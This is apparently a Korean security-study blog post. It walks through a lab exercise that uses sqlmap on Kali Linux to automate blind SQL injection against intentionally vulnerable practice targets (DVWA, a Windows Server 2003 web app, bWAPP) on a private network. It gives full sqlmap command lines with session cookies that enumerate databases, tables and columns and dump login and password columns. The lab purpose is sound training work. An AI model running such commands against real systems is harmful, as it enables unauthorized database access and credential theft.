ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Kali Linux - SQLmap을 이용한 SQL Injection 공격 자동화
    Security 2022. 5. 12. 13:23

    SQL Injection

    SQL Injection 공격 자동화

    : DB에 대한 정보가 없는 상태에서 DB에 하나씩 물어보고 Yes or No 형식으로 응답하면 그 정보를 모아서, DB 이름, Table 이름 등을 파악

    Blind SQL Injection의 일종 > 반복 작업이 많아서 사람이 일일이 하기는 어려움 > 자동화 도구를 사용하는 이유

     

    실습

    Kali Linux의 SQLmap을 이용해서 DVWA(Metasploitable2)에 SQL Injection 공격 자동화하기

     

    -SQLmap의 문법

    sudo sqlmap -u "URL 주소" --cookie="쿠키 값"

    URL 주소 : DVWA의 SQL Injection(Blind) 메뉴에서 입력창에 1~5 사이의 번호를 한 번 입력한 주소 표시줄의 주소를 사용합니다.

    URL 주소 확인

    쿠키 값 : 주소표시줄에 javascript:document.cookie 입력하면 화면에 쿠키 값이 나타납니다.

    쿠키 값 확인

     

    DB 이름 확인

    Kali Linux로 돌아와서 URL 주소와 쿠키 값을 넣은 아래의 코드를 입력해줍니다.

    sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" --dbs

    7개의 available databases 확인 가능

    다음에 물어보는 내용들이 있으면 Y/n, y/N 등의 질문에는 대문자로 된 응답을 해주시면 됩니다.

     

     

    Table 이름 알아내기

    sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" -D dvwa --tables

    guestbook, users의 테이블 이름을 알아냈습니다.

     

    Column이름 알아내기

    sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" -D dvwa -T users --columns

    users Table의 user, avatar, first_name, last_name, password, user_id 6개의 columns 이름을 알아냈습니다.

     

    로그인 계정과 비밀번호 알아내기

    sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" -D dvwa -T users -C user,password --dump

    users Table의 user id와 password를 알아냈습니다.

    Kali Linux의 SQLmap을 이용해서 Windows Server 2003에 SQL Injection 공격 자동화하기

    URL 주소와 쿠키 값을 먼저 알아내겠습니다.

    방법은 위와 동일합니다.

    URL 주소
    쿠키 값

    DB 이름 알아내기

    sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" --dbs

    master, model, msdb, Northwind, pubs, tempdb 총 6개의 available databases를 확인했습니다.

    하지만 04arg라는 DB에 원하는 정보가 있어서 04arg에서 다음 Table을 확인했습니다.

     

    Table 이름 알아내기

    sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" -D 04arg --tables

    많은 Table중에 회원정보가 있는 tbl.member Table 확인

     

    Column 이름 알아내기

    sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" -D 04arg -T tbl_member --columns

    많은 Column중에 ID와 PW가 있는 userid와 passwd Column 확인

     

    로그인 계정과 비밀번호 알아내기

    sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" -D 04arg -T tbl_member -C userid,passwd --dump

    올바른 방법으로 조회해봤지만 blank로 표시되는 것을 알 수 있습니다.

    아무래도 오래 된 버전이다보니 조회가 어려운 것으로 판단됩니다.

     

    Kali Linux의 SQLmap을 이용해서 Bee-Box에 SQL Injection 공격 자동화하기

    URL 주소와 쿠키 값을 먼저 알아내겠습니다.

    방법은 위와 동일합니다.

    URL 주소
    쿠키 값

    DB 이름 알아내기

    sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" --dbs

    bWAPP, drupageddon, information_schema, mysql 총 4개의 available databases를 확인할 수 있습니다.

     

    Table 이름 알아내기

    sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" -D bWAPP --tables

    blog, heroes, movies, users, visitors 총 5개의 table을 확인할 수 있었습니다.

     

    Column 이름 알아내기

    sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" -D bWAPP -T users --columns

    많은 Column중에 계정 정보가 있는 login과 password Column을 확인할 수 있습니다.

    id로 유추할 수도 있었지만 아닌 것을 미리 알아서 login Column으로 진행했습니다.

     

    로그인 계정과 비밀번호 알아내기

    sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" -D bWAPP -T users -C login,password --dump

    users Table의 login,password Column의 ID와 Password 정보를 얻었습니다.

    Password 같은 경우는 해쉬값을 Decode해서 표현해준다는 사실까지 알 수 있었습니다.

    댓글

Designed by Tistory.